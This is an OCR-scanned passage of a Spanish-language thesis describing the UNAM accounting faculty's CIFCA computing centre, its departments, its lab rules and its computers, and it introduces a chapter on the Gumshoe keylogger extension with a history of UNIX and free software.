Adam, para llevar su construccion se cre6 un fondo de inversion, en el cual su
monto inicial era de $24 000 000, de los cuales $9 000 000 fueron aportados por
la Sociedad de Egresados y el restante provino de los ingresos extraordinarios

de la Facultad (Centro de Informatica CIFCA, s. f., ler - 2° parrafo).

Durante su construccion fue descrito como una magna obra que contaba con la
infraestructura acorde a las exigencias del siglo XXI (Facultad de Contaduria y
Administracion, s. f., p. 28).

El edificio consta de cuatro niveles: s6tano, planta baja, primer y segundo piso,
ademas de ocho laboratorios, cuatro sin divisién y cuatro divisibles, los recursos
tecnoldgicos con los que cuenta son 540 computadoras de escritorio y 12
proyectores. El s6tano es donde se lleva toda la administracion del CIFCA ya
que tiene areas responsables de la gestion de las tecnologias de la informacion
como: telecomunicaciones, administracién de infraestructura, soporte técnico,
sistemas, proyectos institucionales, soluciones web y gestion operativa (Centro

de Informatica CIFCA, s. f., 2° parrafo).

Este Centro de COmputo tiene como objetivo mantener, reforzar y optimizar de
manera constante los recursos informaticos existentes, apoyando asi la actividad
sustantiva de la facultad en las areas de docencia, investigacion, difusion y
demas servicios proporcionados por la Facultad. También como ya se menciono6

imparte cursos, talleres y materias (Soto Ayala, 2008, p. 7).

En recientes afios, se ha puesto a cargo del CIFCA la administracion del nuevo
Edificio Tecnoldgico el cual se termin6 de construir en el afio 2019.
Este nuevo edificio tiene el proposito de impulsar el uso de las tecnologias de la

informacion y de la comunicacién en la ensefianza de todas sus licenciaturas y
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de que los profesores y alumnos se beneficien al ensefiar y ser formados a través
de las nuevas tecnologias aplicadas a las disciplinas. Este edificio tiene un
disefio arquitectonico especial para tener infraestructura tecnoldgica y la
capacidad de instalar equipos de cOmputo y servicios informaticos, tiene
capacidad para 738 computadoras distribuidas en los 12 laboratorios con los que

cuenta en 4 pisos, distribuidos en:

1. Planta Baja

Aula movil, que permite una distribucion flexible del mobiliario que se adapte a
las dinamicas de ensefianza y facilite el aprendizaje colaborativo, también cuenta
con un laboratorio especial para la imparticion de soporte técnico y

mantenimiento a equipos de computo (Centro de Informatica CIFCA, s. f.).

2. Primer Nivel
En el primer nivel. Se encuentra un laboratorio acondicionado para la imparticion
de las asignaturas de telecomunicaciones, sistemas operativos y seguridad

informatica (Centro de Informética CIFCA, s. f.).

3. Segundo Nivel
En este nivel se encuentra un laboratorio asignado para las asignaturas de

desarrollo de aplicaciones con software libre (Centro de Informatica CIFCA, s.

).

4. Tercer Nivel
No se encontré informacion sobre el contenido de este nivel, dentro de los

documentos que se revisaron.

También se menciona que en dichos laboratorios se podran impartir clases de
software contable-administrativo, bursatil, simulaciones de negocios, de
administracion de proyecto y de inteligencia de negocios (Centro de Informética
CIFCA, s. f).

Este edificio al parecer cuenta con diferentes servicios para su Optima utilizacion

en las clases que tiene por objetivo mostrar software o hardware destinado a
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aplicaciones de tecnologia, por lo que cabe destacar que la Facultad de
Contaduria y Administracion se esta modernizando.
El CIFCA como toda institucion cuenta con su mision, vision y valores, los cuales

son:

Mision:

“Proporcionar la infraestructura y servicios de Tecnologias de Informacion y
Comunicaciones que requiere la Facultad para su buen funcionamiento en el
desarrollo de las actividades académico-administrativas de la misma operativa”
(Centro de Informética CIFCA, s. f.).

Vision:

“Ser un area de servicios que brinde de manera eficiente y oportuna soluciones
de Tecnologias de Informacién y Comunicaciones que impulsen y favorezcan de
manera continua el desarrollo e innovacion tecnoldgica de la Facultad” (Centro
de Informatica CIFCA, s. f.).

Valores:

e “Responsabilidad

e Integridad y ética

e Respeto

e Actitud de servicio

e Trabajo en equipo

¢ Mejora continua

e Compromiso social”

(Centro de Informatica CIFCA, s. f.).

2.2 Administracion de los laboratorios

Para un buen funcionamiento de todo el equipo y areas del CIFCA, se cuenta
con diferentes departamentos que ayudan a la dificil tarea de administrar el uso
de los laboratorios, el préstamo de equipo y la imparticion de materias, cursos y
talleres por lo que es necesario explicar que hace cada departamento

(Organigrama CIFCA Anexo I) dentro del Centro de Informéatica:
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Figura 3 — Organigrama CIFCA

Departamentos

<

-

Jefatura

Sistemas Cursos de Computo Disefio y Desarrollo Web Telecomunicaciones

Soporte Técnico Administracion de Laboratorios de Computo Infraestructura
Servidores

Tomada de Soto Ayala, 2008, p. 3

2.2.1 Departamento de Jefatura

Es el encargado de planear y administrar los proyectos, equipos, recursos
tecnologicos, también hace la funcion de delegar y traspasar actividades y
procesos a los demas departamentos competentes, dandoles la autoridad
necesaria para que tomen ciertas decisiones en el CIFCA. De esta manera se
logra establecer criterios, normas y reglamentos para formalizar procesos,
evaluarlos y tomar decisiones, alineando a todas las areas a cumplir con los
objetivos de la misién y la vision de la institucion e ir acorde con los valores que

se promueven (Centro de Informética CIFCA, s. f.).

2.2.2 Departamento de Sistemas

Este departamento se encarga de proveer informacion, asi como de ofrecer las
herramientas necesarias para manipularla, es el responsable de satisfacer las
necesidades y preparacion de los equipos, para todos los integrantes de la
institucion y también dar soluciones informaticas, garantizando el buen

funcionamiento.
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Otras de sus funciones son el realizar o dar mantenimiento correctivo, preventivo
y predictivo a las computadoras, optimizar su rendimiento y sintonia con el
sistema operativo, gestionar las cuentas de usuario, asignandoles recursos de
acuerdo a los perfiles de cada integrante, también instalar, configurar y dar
mantenimiento a los servicios, brinda seguridad de los sistemas aparte de
mantener la privacidad de los datos de usuarios, respaldando también su
informacion por medio de copias de seguridad periddicas y por ultimo ayudan a
la instalacion y actualizacion de utilidades al software necesario para el uso del
CIFCA (Centro de Informatica CIFCA, s. f.).

2.2.3 Departamento de Disefio y Desarrollo Web

Es el departamento encargado de desarrollar las paginas web de cualquier sitio
de la FCA, también tiene a su cargo las tareas de administrar, mantener y
configurar todo el servicio web del CIFCA, es responsable de crear, mantenery
configurar las bases de datos de todas las paginas web alojadas en el servidor,
brindar soporte a todos los usuarios de los sistemas internos, en funcionamiento,
administrar las cuentas de FTP de los usuarios de sitios alojados en el servidor
web, capacita a todos los usuarios de los sistemas internos, publica en el sitio
oficial del CIFCA, la informacion que se le solicita de los usuarios, aparte de
difundir, ejecutar y supervisar normas orientadas para una adecuada
construcciéon y mantenimiento de los sitios web, para mantener su disponibilidad

y que las paginas siempre se encuentren visibles para la comunidad.

Por lo general la implementacion de sus proyectos web se encuentra en el
lenguaje de marcado HTML maquetado en plantillas con Dreamweaver
Templates y JQuery (Centro de Informatica CIFCA, s. f.).

2.2.4 Departamento de Telecomunicaciones

El &rea mencionada, se encarga de gestionar y supervisar las redes por donde
circula toda la informacion del CIFCA, aparte de administrar los equipos
principales de telecomunicaciones que brindan el acceso a los servicios de red

y sistemas de informacién institucionales a la comunidad de la FCA.
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Asi mismo, este departamento se encarga de brindar soporte y asesoria técnica
al personal que funge como administrador de coémputo, cuando se presenta
algun problema de conexion ya sea fisica o I6gica hacia la red, de igual forma, el
departamento se encarga de administrar y configurar los equipos de seguridad
perimetral, otras de sus actividades son las de administrar el ancho de banda y
filtrar por url, supervisar la integracion y la actualizacion de la pagina electronica
y de intranet de la institucion, proponer la estrategia anual de inversion para la
adquisicion de nuevo equipo de telecomunicaciones brinda, crear y supervisar el
programa de mantenimiento preventivo y correctivo de los equipos de
telecomunicaciones, supervisando el desarrollo de las actividades de que se
deriven de los reglamentos internos del CIFCA, administrar el sistema de voz y
el sistema de datos, verificar la conectividad a redes locales, los servicios de
conectividad a redes inaldmbricas, revisar la seguridad en el centro de datos, dar

mantenimiento preventivo y correctivo de los equipos de comunicacion.

Busca también asesorar a los demas departamentos en cuestiones de los
proyectos en cuestiones de telecomunicaciones, también monitorea el trafico de
datos y elabora memorias técnicas para analizar su funcionamiento y que este
pueda ser auditado o implementado en ocasiones posteriores (Centro de
Informatica CIFCA, s. f.).

2.2.5 Departamento de Soporte Técnico

Departamento encargado de brindar mantenimiento al hardware del usuario final
del CIFCA, es el primer punto de contacto donde los usuarios avisan de cualquier
incidente con sus equipos de computo, el departamento de soporte es el nucleo
del buen funcionamiento de la mayoria de las computadoras que usan los
usuarios finales, pero el trabajo no se limita solo a resolver problemas, las
actividades abarcan todo lo que involucra la tecnologia, como el servicio de
atencion al cliente, mantenimiento de computadoras y actualizaciones de
software, instalar y configurar la tecnologia a ser empleada en la empresa, es

decir, los equipos, los sistemas operativos, programas y aplicaciones.

Entre otras tareas como lo es el mantenimiento periddico de sistemas, brindar
asistencia a los empleados o usuarios acerca de tecnologia empleada, detectar
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las averias en los sistemas y aplicaciones realizar diagnésticos del mal
funcionamiento del hardware y el software, encontrar soluciones a cualquier falla
e implementarlas, reemplazar las partes dafiadas o con averias en los equipos
cuando sea necesario realizar la solicitud de las piezas nuevas cuando falten en
el inventario, elaborar informes sobre el estado de los equipos y sistemas de la
empresa, aparte de llevar un inventario de cada equipo o herramienta
tecnologica que se use dentro del CIFCA, implementar y orientar a los diferentes
equipos en la ejecucion de nuevas aplicaciones o sistemas operativos, aprender
sobre nuevas aplicaciones o0 sistemas operativos, realizar pruebas y evaluar
nuevas aplicaciones antes de su implementacion en los sistemas configurar

perfiles, correos electronicos y accesos para los nuevos ingresos.

Ademas de brindar asistencia en todo lo relacionado con contrasefias, realizar
revisiones de seguridad en todos los sistemas, diariamente, el departamento de
soporte técnico puede recibir solicitudes de soporte por mal funcionamiento de
los equipos o precisa brindar orientacion sobre el uso de los sistemas (Da Silva,
2020, 8° parrafo)

2.2.6 Departamento de Administracién de Servidores

El departamento de servidores provee de mantenimiento a los servidores que se
encuentran en uso de la FCA, también es responsable de la operacion y
mantenimiento de estos, se asegura que funcionen sin problemas, evita el tiempo
de inactividad del servidor a través de un mantenimiento programado,
garantizando la seguridad del servidor y ayuda al personal en la conexién con el

servidor.

También realiza tareas como copias de seguridad de los datos del servidor,
gestionar los proyectos con sistemas relacionados, supervisar y capacitar al
personal que trabaja con computadoras, la reparacion del mal funcionamiento
del servidor y las consultas sobre problemas demasiado complejos para el
soporte técnico, esto puede implicar la interfaz con los usuarios novatos del
equipo y con el soporte técnico avanzado gestionar el sistema operativo del

servidor.
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Mantiene la integridad del rendimiento del servidor, instala y configura el software
nuevo Yy las actualizaciones, soluciona problemas y actualiza la informacion de
cuentas de usuario (afadir/eliminar usuarios y restablecer contrasefas).
También crea copias de seguridad de rutina, integra las nuevas tecnologias,
realiza cambios de configuracion para el sistema operativo, por altimo, realiza
tareas de desarrollo de scripts de operacion para la automatizacioén de ciertas
tareas y administra la seguridad de los servidores (Gallardo Pérez, 206, ler

parrafo — 4°parrafo).

2.2.7 Departamento de Laboratorio de Computo

Es el responsable de brindar atencién y servicio tanto a profesores como
alumnos para el uso adecuado del mobiliario y equipo que se encuentra
disponible en los 8 laboratorios del Centro de Cémputo para apoyar la formacién

académica de los alumnos a nivel licenciatura y posgrado.

El laboratorio cuenta con los equipos necesarios para realizar cualquier tipo de
actividad relacionada con las carreras que la FCA oferta, de esta manera se
fortalece el aprendizaje contando con equipos reales preparando al alumno a la
implementacion y configuracién de los equipos en lo que al uso del campo laboral
se refiere, brinda una completa inmersion practica a los programas utilizados, el
formato de trabajo puede ser en grupo o individual, hay una participacion activa
de los alumnos y los profesores, se da un seguimiento y control de reportes de
atencién a usuarios, se generan reportes estadisticos y se da administracion del

inventario del equipo de computo.

Otro de sus objetivos es reforzar y optimizar de manera constante los recursos
informaticos existentes, apoyando asi la actividad de la facultad en las tareas de
docencia, investigacion, difusion entre otros servicios (Centro de Informatica
CIFCA, s. f.).

2.2.8 Departamento de Infraestructura

Es el encargado de proveer y mantener la infraestructura y equipos suficiente

para los servicios que ofrece el CIFCA, sus funciones principales son la
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planeacién, administracion, supervision y ejecucion de proyectos de
infraestructura informatica que incluya servicios de valor agregado, servidores y
redes de datos, también adopta las medidas necesarias para salvaguardar la

informacion institucional existente en los equipos centrales, disefia.

Apoya la implementacién y ensaya periédicamente el plan de contingencia
contra incidentes, con el objetivo de minimizar el riesgo de pérdida o dafio de la
informacion en situaciones de emergencia, elabora, supervisa y ejecuta el
cumplimiento del plan de trabajo anual y plan estratégico institucional del
departamento, segun los objetivos proyectados y lineamientos estratégicos
proporcionados por las instancias superiores, con el objetivo de establecer los

objetivos y actividades a desarrollar.

De esta forma supervisa el trabajo realizado por el personal a cargo, asi como el
cumplimiento de metas de trabajo y planes de mantenimiento preventivo y
correctivo a los equipos de comunicacion, servidores y equipos centrales,
administra las politicas de seguridad, que permite a los usuarios tener los
accesos requeridos haciendo uso del concepto del privilegio minimo, elaborar y
remite informes de seguimiento del plan anual de trabajo al departamento de
jefatura, garantiza la continuidad en las comunicaciones manteniéndolas
actualizadas y en optimo funcionamiento, a fin de brindar el apoyo y soporte
técnico necesario a los usuarios que lo requieran, agilizando las consultas y

haciendo eficiente el servicio proporcionado por el area.

Verifica que la infraestructura de comunicaciones, equipos e impresoras se
encuentre en 6ptimas condiciones de operacion, revisando los dispositivos
electrénicos de conmutacion y los espacios de almacenamiento en los
servidores, realizando los ajustes necesarios obteniendo el maximo desempefio,
crea y administra las cuentas de los usuarios que utilicen los servicios de la
intranet, con los elementos de seguridad que cada uno requiera de acuerdo a su
funcidn, previa autorizacion del titular del area, implementa instrumentos y
mecanismos de seguridad para garantizar la proteccion de la intranet, servidores

y equipos de coOmputo contra agentes maliciosos externos.
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Aparte de realizar la administracion del inventario del equipo de cdmputo de la
facultad, brindar mantenimiento de los registros del inventario del equipo de
cOmputo y también dar mantenimiento de los registros del inventario de
componentes destinados al mantenimiento del equipo de computo de la facultad
y para finalizar este ramo de actividades hechas por el area, realiza la instalacion
y configuracion de equipo de computo (Lider de Emprendimiento, s.f., 5°
parrafo).

Cada departamento cumple con diferentes propositos dentro del CIFCA, por lo
que es importante destacar el funcionamiento de cada uno de ellos, la
administracion de este centro de informatica depende de sus procesos y
lineamientos, por eso fue necesario la inclusién y descripcion de las tareas
realizadas, de esta forma se puede ubicar que tareas le corresponden a cada
area y revisar las responsabilidades que tienen sobre sus recursos y si existe

algun tipo de bibliografia para sus procedimientos.

Para fines de esta investigacion es claro que se tomard como referencia el
Departamento de Laboratorio de CoOmputo, ya que éste servird como punto de
referencia y para obtener la informacion necesaria donde se conoceran sus
practicas y reglamentos, aparte de hablar sobre los equipos que se tenian para
préstamos grupales o personales. Esto es importante sefialarlo para dar una
descripcién y un panorama general del uso y analizar como se trabajaba dentro
de los laboratorios.

2.3 Manual de organizacion y procedimientos Departamento de
Laboratorio de COmputo del Centro de Informatica de la Facultad de
Contaduriay Administracion (CIFCA)

Como ya se habia comentado, el Centro de Informatica de la Facultad de
Contaduria y Administracion (CIFCA) cuenta con diversos departamentos que
mantienen en funcionamiento todos sus procesos, el departamento que interesa
en esta investigacion es el Departamento de Laboratorio de Cémputo, debido a
gue este brinda los recursos para el uso de los diferentes laboratorios de
computo a los usuarios que los requieren, este procedimiento requiere de un

manual de organizacion y procedimientos para llevar a cabo cada tarea que

49



tenga relacion con el acceso a los equipos, en este se detallan objetivos, mapas
de proceso, formatos y reglamentos que se tienen que seguir para un evitar el

mal uso de las instalaciones o que estas se ocupen con otros fines.

El objetivo mencionado dentro de este manual de organizacion y procedimientos

es el siguiente:

El objetivo del Centro de Informatica de la Facultad de Contaduria y
Administracion es mantener, reforzar y optimizar de manera constante los
recursos informaticos existentes, apoyando asi la actividad sustantiva de la
facultad en las areas de docencia, investigacion, difusibn y demas servicios

proporcionados por la Facultad.

Dentro de los objetivos del CIFCA se encuentra uno en especifico el cual se
compromete con sus usuarios en la mejora de la calidad de los servicios que
ofrece. Para ello, se requiere un Manual de Procedimientos para el
Funcionamiento del mismo, cuya implementacion sera de utilidad para que el
CIFCA cumpla de manera mas eficiente las responsabilidades conferidas,
estableciendo las funciones de desempefiar y disefiar los procesos para la
sistematizaciéon, ordenamiento y uso de la infraestructura informatica de la FCA
(Centro de Informatica CIFCA, s. f. p. 7).

Este objetivo, precisa el apoya hacia la comunidad de la FCA, cuando se solicitan
recursos tecnoldgicos con fines de aprendizaje por ello se realiza el préstamo de
laboratorios 0 de equipos, ya sea para un alumno/profesor o para un grupo de
alumnos y profesores, ayudando a impartir su clase de forma mas didactica, por
lo que es necesario dos reglamentos, los cuales también se encuentran escritos

en este manual.

El primer lineamiento se divide en dos, consta de un apartado que habla sobre
el reglamento y otro apartado sobre las restricciones, ambos asociados a la
utilizacion del equipo de codmputo para practicas individuales, explicandolo como
un servicio que se proporciona a los alumnos de la Facultad, durante dos horas,

reservadas para el desarrollo de practicas académicas, trabajos de investigacion
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y/o consultas de internet (Soto Ayala, 2008, p. 26). A continuacién, se expondran

los puntos que posee estos lineamientos:

2.3.1 Reglamento

e “Ser alumno o profesor de la FCA” (Centro de Informética CIFCA, s. f.).

e “Presentar credencial de la UNAM con resello vigente, sélo para alumnos”
(Centro de Informética CIFCA, s. f.).

e “Los alumnos para ingresar a los laboratorios de computo deben presentar la
credencial actualizada de la UNAM, al personal a cargo del mismo. De no
contar con credencial de la UNAM vigente, es necesario presentar una
identificacion oficial con fotografia y su comprobante de inscripcion al
semestre actual. Personal Docente, administrativo y de base para ingresar y
hacer uso de un equipo de cémputo en los laboratorios deben presentar la
credencial actualizada de trabajador de UNAM vigente” (Centro de
Informatica CIFCA, s. f.).

e “En caso de utilizar unidades de almacenamiento portatiles (discos flexibles,
CD’s, memorias USB), deben escanearlas (antes de iniciar su clase o practica
individual) en la computadora del laboratorio que les fue asignada” (Centro
de Informatica CIFCA, s. f.).

e “Los alumnos, personal docente, administrativo, y de base que acudan al
laboratorio, para practica de grupo, sélo podran ingresar al mismo después
de que se presente su profesor (contando con una tolerancia de 20 minutos
adicionales a la hora de inicio de su clase); mientras tanto deberan
permanecer en la planta baja del edificio del Centro de Computo, evitando
hacer ruido excesivo, con el fin de no interrumpir las practicas en los otros
laboratorios del area. En caso de que el profesor no se presente al laboratorio
en el horario indicado, los equipos seran asignados para practica individual”
(Centro de Informética CIFCA, s. f.).
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“Es responsabilidad de los usuarios (alumnos y/o profesores) observar y
respetar el reglamento de los laboratorios de computo de la FCA, con el fin
de evitar incurrir en una falta y hacerse acreedores a la sancion

correspondiente” (Soto Ayala, 2008, p. 26).

‘Es responsabilidad de Atencién a Usuarios (Laboratorios de computo),
supervisar el buen uso y funcionamiento de los equipos de computo de la
FCA” (Soto Ayala, 2008, p. 26).

‘Es responsabilidad de Atencidbn a Usuarios (Laboratorio de computo),
informar a los alumnos y/o profesores la duracion de las practicas grupales,
seminarios, diplomados y cursos extracurriculares de acuerdo al contenido y
duracion del tema” (Soto Ayala, 2008, p. 26).

“Es responsabilidad del personal en turno informar en tiempo y forma al
responsable de Atencion a Usuarios (Laboratorios de coOmputo), cualquier
anomalia detectada por los alumnos y profesores” (Soto Ayala, 2008, p. 26).

“Es responsabilidad de Atencién a Usuarios (Laboratorios de computo),
mantener actualizados los equipos de computo de acuerdo a las necesidades

requeridas por la formacién académica” (Soto Ayala, 2008, p. 26).

“De la misma forma, una vez que hayan terminado su practica deberan
abandonar el laboratorio antes que el profesor haya salido. Si requieren
utilizar el laboratorio después de haber terminado la clase (siempre y cuando
esté disponible a la hora siguiente) es necesario solicitar la practica al
personal en turno” (Centro de Informética CIFCA, s. f.).

2.3.2 Restricciones

‘Ingresar a los laboratorios de computo presentando un comprobante de
inscripcion y/o identificacion de otro usuario” (Centro de Informatica CIFCA,
s. f).

“El uso del equipo de computo ES PERSONAL. Por lo tanto, no se permiten:
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Dos o0 mas usuarios por computadora (Centro de Informatica CIFCA, s. f.).
Ocupar dos equipos al mismo tiempo (Centro de Informética CIFCA, s. f.).
Cambiarse a otro equipo distinto del asignado por el encargado del

laboratorio” (Centro de Informatica CIFCA, s. f.).

“Agregar, modificar o eliminar cualquier configuracion ya establecida en los
equipos de computo de la Facultad” (Centro de Informatica CIFCA, s. f.).

“Grabar intencionalmente informacion de cualquier tipo en los discos duros
de los equipos existentes en los laboratorios” (Centro de Informética CIFCA,
s. f.).

“Insertar en los equipos de computo cd's de masica, video, juegos u otros
programas que no tengan fines académicos” (Centro de Informética CIFCA,
s. f.).

“Queda estrictamente prohibido conectar a red y/o a corriente eléctrica
equipos de computo portatiles en cualquier laboratorio” (Centro de
Informética CIFCA, s. f.).

“Utilizar el cableado eléctrico y/o de red instalado en cualquier laboratorio
para conectarlo a cualquier dispositivo personal; en caso de requerir la
conexion a red de estos dispositivos, el tramite se realiza en la pagina
www.riu.unam.mx (Red Inalambrica Universitaria)” (Centro de Informatica
CIFCA, s. f.).

“Conectar audifonos y/o bocinas, reproductores de mdusica, video digital
(MP3, MP4, DVD'’s, iPod, teléfonos celulares, etc.) a los equipos de computo

instalados en el laboratorio” (Centro de Informatica CIFCA, s. f.).
“Conectar cualquier dispositivo que comprometa la seguridad de la red y/o

los equipos de coOmputo durante las practicas individuales y/o de grupo”
(Centro de Informatica CIFCA, s. f.).
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e ‘“Insertar unidades de almacenamiento portatiles (discos flexibles, CD’s,
memorias USB) infectadas con virus informaticos, en cualquier equipo que
vaya a utilizar durante las practicas individuales y/o de grupo” (Centro de
Informatica CIFCA, s. f.).

« “Dafiar en forma fisica o logica el equipo de cdmputo, en cualquiera de las
partes que lo componen, aun cuando sea de manera accidental o intencional.
Este dafio tendra que ser cubierto por el usuario ademas de la sancion

correspondiente a la que se hace acreedor” (Centro de Informatica CIFCA, s.

).

e “La consulta de informacion a través de Internet es Unicamente y
exclusivamente para fines académicos. Se aplicara sancion en caso de que
al alumno se le sorprenda consultando paginas de Internet prohibidas (redes
sociales, pornografia, juegos, chat, Messenger, archivos MP3, MP4 y/o
cualquier otra que no sea con fines académicos)” (Centro de Informatica
CIFCA, s. f.).

o “El servicio de correo electrénico es exclusivamente para fines académicos,
por lo cual no puede ser utilizado para recibir y/o enviar postales, fotografias,
juegos, archivos MP3, MP4 y/o cualquier otro tipo de archivo que no sea de

contenido académico” (Centro de Informatica CIFCA, s. f.).

o “Enviar mensajes a otros usuarios a través de la red, durante su sesion de

trabajo en el laboratorio” (Centro de Informatica CIFCA, s. f.).

Como se explica en este reglamento es muy importante la seguridad de la
informacion, por lo que se pide que no se ingresen dispositivos con malware,
también se restringe que los alumnos visiten sitios no académicos con otros fines
gue no sea el del aprendizaje, al igual que se solicita al personal a cargo informar
de cualquier anomalia presentada, estos puntos son de suma importancia debido
a que desde el reglamento se esta cerrando cualquier posibilidad al ingreso de

malware.
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El segundo lineamiento consta de un apartado que habla sobre el reglamento
asociado al uso del equipo de cémputo para practicas grupales, definiéndolo
COMO un servicio que se proporciona a los profesores y alumnos de la Facultad,
para utilizar el laboratorio de computo durante las horas requeridas para el
desarrollo de su clase, (Soto Ayala, 2008, p. 27). A continuacion, se expondra el

lineamiento:

2.3.3 Reglamento

e “Es responsabilidad de los usuarios (alumnos y/o profesores) escanear sus
unidades de almacenamiento portétiles en caso de ser utilizados en los

laboratorios de codmputo” (Soto Ayala, 2008, p. 27).

e “Es responsabilidad de Atencion a Usuarios (Laboratorios de computo),
controlar y asignar los equipos instalados en el laboratorio a los alumnos y/o
profesores adscritos a la FCA de acuerdo a la disponibilidad y capacidad en

los mismos” (Soto Ayala, 2008, p. 27).

e “Es responsabilidad de los profesores de acuerdo a los estipulado por
Atencion a Usuarios (Laboratorios de computo) respectar la tolerancia de 20

minutos (en sao de practica grupal)” (Soto Ayala, 2008, p. 27).

e “Es responsabilidad de los usuarios (alumnos y/o profesores) observar y
respetas el reglamento de los laboratorios de cédmputo de la FCA, con el fin
de evitar incurrir en una falta y hacerse acreedores a la sancidn

correspondiente” (Soto Ayala, 2008, p. 27).

e “Es responsabilidad de Atenciéon a Usuarios (Laboratorios de cémputo),
supervisar el buen uso y funcionamiento de los equipos de computo de la
FCA” (Soto Ayala, 2008, p. 27).

e “Es responsabilidad de Atencion a Usuarios (Laboratorios de cdémputo),
informar a los alumnos y/o profesores la duracion de las practicas grupales,
seminarios, diplomados y cursos extracurriculares de acuerdo al contenido y

duracion del tema” (Soto Ayala, 2008, p. 27).
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e “Es responsabilidad del personal en turno informar en tiempo y forma al
responsable de Atencion a Usuarios (Laboratorios de coOmputo), cualquier

anomalia detectada por los alumnos y profesores” (Soto Ayala, 2008, p. 27).

e “Es responsabilidad de Atencion a Usuarios (Laboratorios de computo),
mantener actualizados los equipos de computo de acuerdo a las necesidades
requeridas por la formacion académica” (Soto Ayala, 2008, p. 27).

Este reglamento también va enfocado a que se de buen uso a los equipos de
computo y a brindar proteccion a la informacion de cada usuario, por lo que es
importante mencionar que los usuarios y las personas a cargo de los laboratorios

deben de revisar cualquier anomalia encontrada.

Aunque si bien ambos reglamentos son muy completos y es de suma importancia
que los alumnos los deben de seguir, no sélo se debe de quedar en palabras,
por lo que deberia de ser instalado algun control de acceso o lista negra, ambos
software que ayudan al control de usuarios, paginas que visitan y evitar la
instalacion de extensiones en los navegadores, para resguardar la seguridad de
los datos e informacion en los equipos de todos los laboratorios, ya que confiar

en que los usuarios seguiran un reglamento es una accion sesgada de buena fe.

2.4 Equipo de cOmputo usado.

Los laboratorios que pertenecen al CIFCA, disponian de equipos de computo los
cuales funcionaban apropiadamente, contaban con un monitor, mouse, teclado
y un cable ethernet, el cual permite la salida a internet.

Es necesario precisar sobre algunas de las caracteristicas que tienen las

computadoras internamente y describirlas de una forma mas especifica.

La descripcién de las caracteristicas con las que contaban los equipos de
computo que se mencionaran a continuacion son una aproximacion a lo real, ya
que algunos laboratorios disponian con diversas computadoras, por lo que unos

laboratorios podrian contar con los equipos mencionados y otros contar con otros
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equipos diferentes, esta informacion se menciona Unicamente con interés de dar
un ejemplo de las condiciones en las que habitaba el keylogger sujeto de la

investigacion.

Una vez realizada esta aclaracion se procede a dar la descripcion de los
computadores los cuales eran de escritorio, poseian procesador Intel Core i3 de
generacion desconocida, memoria interna de 256 GB y memoria RAM de 2 GB,
con Windows 7 como sistema operativo y con diversos navegadores web

instalados, uno de ellos Chrome.

Estos equipos permitian a los usuarios trabajar con diferentes aplicaciones de
forma Optima, ya que no presentaban ningun problema de performance, aparte
de que eran rapidos y se podian realizar cualquier tipo de practicas.

Es importante mencionar que ninguno de ellos contaba con seguridad més alla
de la proteccidon normal de malware que ofrece el sistema operativo Windows,
tampoco poseian un control sobre los programas que se instalaban o los
documentos descargados por alumnos, Unicamente el reglamento menciona,
que no se deben de descargar ninguna clase de programas sin previa
autorizacion del Departamento de Laboratorio.
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Capitulo Ill: Uso del Malware Gumshoe dentro del CIFCA

3.1 Antecedentes del Malware Gumshoe

3.1.1 Cadigo Abierto

Gumshoe, como ya se habia mencionado previamente, es una extension del
navegador Chrome de coédigo abierto (Artille, 2018, ler péarrafo), esta
caracteristica mencionada es importante definirla, ya que ayudara a comprender
mejor la creacion de este software malicioso y porque instalarla de fuentes

desconocidas puede ser perjudicial para cualquier equipo de cémputo.

La historia del codigo abierto comienza desde que la industria digital tomo gran
relevancia en Estados Unidos, durante las décadas de 1950 y 1990, los
productores y los usuarios de equipos de cémputo programaban el software
necesario para poder interactuar con este, consecuentemente, este lenguaje
creado especificamente para sus equipos no podia ser usado para otros, por lo
que la empresa American Telephone and Telegraph (AT&T) a través de una de
sus subsidiarias Western Electric suministraba los aparatos y teléfonos
compatibles con el software de AT&T, trabajando en conjunto para unir hardware

y software hecho a la medida (Zapata Serna, 2020, 12° parrafo).

En 1956 el Departamento de Justicia de los Estados Unidos, bajo la ley Anti-
Trust, que declara ilegal la monopolizacion de cualquier parte del comercio
interestatal (Lanic, s. f., 15° parrafo), decidié6 que estas empresas no podian
unirse para manufacturar productos que no fueran de telecomunicaciones, por lo
que los abogados de AT&T, en una estrategia preventiva, promovieron las
licencias de software, evitando asi ser acusados de producir software el cual era
un producto ajeno a las telecomunicaciones. Esta decision permitio transferir al
dominio publico las investigaciones en materia de software que se habian llevado

a cabo en los Laboratorios Bell (UOC, s. f., 4° parrafo).

En 1964, unos investigadores del MIT, en cooperacién con los Laboratorios Bell
y General Electric, desarrollaron un sistema operativo llamado MULTICS

(Multiplexed Information and Computing Service). El componente de software del
58



proyecto era dificil de implementar y en 1969 los Laboratorios Bell se retiraron.
Sin embargo, dos investigadores de Bell, Ken Thompson y Dennis Ritchie,
decidieron continuar por su cuenta. En verano de 1969 crearon un sistema
operativo al que llamaron UNICS aunque posteriormente pas6é a denominarse
UNIX (UOC, s. f., 7° parrafo).

En octubre de 1973 Thompson y Ritchie presentaron un paper, el cual es un
articulo académico, sobre UNIX en el simposio de Association for Computing
Machinery y algunas de las comunidades de programadores mas innovadoras
empezaron a mostrar interés. Algunas limitaciones legales llevaron a AT&T y a
los Laboratorios Bell a licenciar UNIX, para universidades e investigadores y
posteriormente para organizaciones comerciales y militares. El software era
cedido sin soporte técnico, de modo que los usuarios empezaron a mejorar el
programa por si mismos. AT&T facilitaba, a cambio de dinero, el codigo fuente
gue se define como las instrucciones que sigue un software para realizar la tarea

para lo que fue creado (UOC, s. f., 9° parrafo).

UNIX funcionaba casi en cualquier maquina que tuviera un compilador de tipo C,
Asi mismo, UNIX proporcionaba un instrumento docente que podia ser
comprendido y modificado gracias a la disponibilidad del cédigo fuente y
rapidamente se convirtié en una herramienta muy popular en los departamentos
de informatica. Su difusién fue muy réapida y pronto se expandié por todo el
mundo (UOC, s. f., 11° parrafo).

Dada la gran demanda existente de UNIX, AT&T empezd a pensar en estrategias
para controlar su producto restringiendo el uso de su licencia a la universidad de
Berkeley y Unicamente para usos vinculados a docencia e investigacion. Como
reaccion a este intento de los Laboratorios Bell de comercializar y restringir el
uso de UNIX, un grupo de programadores del laboratorio de inteligencia artificial
del MIT, liderado por Richard Stallman, cre6 en 1984 la Free Software
Foundation (UOC, s. f., 15° parrafo).

El objetivo fundamental era la construccion de un sistema operativo que, aunque
basado en la tradicion UNIX, fuera distribuido y usado libremente; lo llamaron

GNU. Stallman publicé el mismo afio el Manifiesto GNU en el que se recogio una
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definicion del término libre, distinguiendo asi entre libre y gratis. El manifiesto
